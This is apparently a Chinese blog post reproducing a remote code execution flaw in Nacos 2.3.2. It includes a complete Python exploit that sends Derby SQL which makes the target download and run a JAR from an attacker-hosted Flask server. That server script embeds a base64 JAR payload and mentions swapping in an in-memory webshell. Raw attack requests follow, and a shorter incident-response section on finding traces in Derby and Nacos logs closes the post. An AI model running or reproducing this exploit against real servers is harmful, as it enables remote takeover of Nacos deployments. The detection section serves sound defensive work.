最近Nacos爆出来了一个新的漏洞,poc公开在了github过几天又被删除了
环境搭建 先下载nacos
https://github.com/alibaba/nacos/releases/tag/2.3.2
执行命令启动
1 startup.cmd -m standalone
如果执行提示JAVA环境的问题,可以参考这篇文章去设置Windows环境变量JDK环境变量配置
POC
1 2 3 1.配置config.py中的ip和端口,执行service.py,POC攻击需要启动一个jar包下载的地方,jar包里可以放任意代码,都可执行,我这里放了一个接收参数执行java命令的 2.执行exploit.py,输入地址和命令即可执行。
config.py 1 2 server_host = '127.0.0.1' server_port = 5000
exploit.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import randomimport sysimport requestsfrom urllib.parse import urljoinimport configdef exploit (target, command, service ): removal_url = urljoin(target,'/nacos/v1/cs/ops/data/removal' ) derby_url = urljoin(target, '/nacos/v1/cs/ops/derby' ) for i in range (0 ,sys.maxsize): id = '' .join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' ,8 )) post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)\n CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.{id}')\n CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'\n""" .format (id =id ,service=service); option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')\n" .format (id =id ,cmd=command); get_sql = "select * from (select count(*) as b, S_EXAMPLE_{id}('{cmd}') as a from config_info) tmp /*ROWS FETCH NEXT*/" .format (id =id ,cmd=command); files = {'file' : post_sql} post_resp = requests.post(url=removal_url,files=files) post_json = post_resp.json() if post_json.get('message' ,None ) is None and post_json.get('data' ,None ) is not None : print (post_resp.text) get_resp = requests.get(url=derby_url,params={'sql' :get_sql}) print (get_resp.text) break if __name__ == '__main__' : service = 'http://{host}:{port}/download' .format (host=config.server_host,port=config.server_port) target = 'http://127.0.0.1:8848' command = 'calc' target = input ('请输入目录URL,默认:http://127.0.0.1:8848:' ) or target command = input ('请输入命令,默认:calc:' ) or command exploit(target=target, command=command,service=service)
requirement.txt
service.py 如果需要打内存马,就先生成一个jar,然后转换成base64,填入payload参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import base64from flask import Flask, send_file,Responseimport configpayload = b'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' app = Flask(__name__) @app.route('/download' ) def download_file (): data = base64.b64decode(payload) response = Response(data, mimetype="application/octet-stream" ) return response if __name__ == '__main__' : app.run(host=config.server_host, port=config.server_port)
漏洞复现 目标地址
1 http://192.168.72.1:8848/nacos/index.html
攻击者服务器地址,实际环境下需要在云服务器上搭建服务,本机搭建的是没有公网IP的
执行命令 先改下配置,并开启服务
执行exploit.py,执行calc命令
同时会收到来自目标的下载请求
实际发送的请求包有两个
先将数据存入了Nacos内置的Derby数据库中,然后使用GET请求去查询信息RCE
其中的IYpoGvNd是随机参数,在两个报文中都存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /nacos/v1/cs/ops/data/removal HTTP/1.1 Host: 192.168.72.1:8848 User-Agent: python-requests/2.24.0 Accept-Encoding: gzip, deflate Accept: */* Content-Length: 487 Content-Type: multipart/form-data; boundary=d28428c7aeccf0aedae82454fc3a92f5 Connection: keep-alive --d28428c7aeccf0aedae82454fc3a92f5 Content-Disposition: form-data; name="file"; filename="file" CALL sqlj.install_jar('http://192.168.126.1:5003/download', 'NACOS.IYpoGvNd', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.IYpoGvNd') CREATE FUNCTION S_EXAMPLE_IYpoGvNd( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec' --d28428c7aeccf0aedae82454fc3a92f5--
1 /nacos/v1/cs/ops/derby?sql=select * from (select count(*) as b, S_EXAMPLE_IYpoGvNd('calc') as a from config_info) tmp /*ROWS FETCH NEXT*/
应急响应 windows环境下的攻击排查
/bin/derby.log 如果需要去排查nacos是否被这个漏洞攻击,可以先找到/bin/derby.log
文件
根据classpath中NACOS.CVtSwELN
的CVtSwELN
去匹配信息,这个值是随机的
也可以通过命令查询已部署的jar,去查询id值
1 /nacos/v1/cs/ops/derby?sql=select * from (SELECT * FROM SYS.SYSFILES) tmp /*ROWS FETCH NEXT*/
/bin/logs 然后去/bin/logs
去查询日志
由于是本机搭建,攻击来源地址和nacos的地址一样
可以通过derby中获取的classpath信息去匹配,也可以通过下方的两个接口路径去匹配定位攻击源、攻击时间(通过接口定位)
1 2 /nacos/v1/cs/ops/data/removal # 这个接口不好判断是否为恶意攻击,一般日志都没post包信息 /nacos/v1/cs/ops/derby # 因为攻击者需要通过这个接口去触发命令,并且是GET类型,一般命令执行的信息都在里面
/logs/nacos-persistence.log 直接查/bin/logs
的日志时/nacos/v1/cs/ops/data/removal
是POST类型的接口一般不会有详情,此时可以通过报错日志去查询信息
这种情况是攻击者在发送第一个请求包时,重复发送了两次,由于名称IaYpoGvNa 出现了重复将会导致报错
此时可以在/logs/nacos-persistence.log
找到对应的报错信息
这种方式可以查询到攻击者的服务器信息
参考 https://mp.weixin.qq.com/s/ZOq4hNl41SOg_Kg6CgRZIw
https://mp.weixin.qq.com/s/wffu-lRtcuarln3azfkMVQ
https://mp.weixin.qq.com/s/S1qeZYLSp_BbumvFyviMtg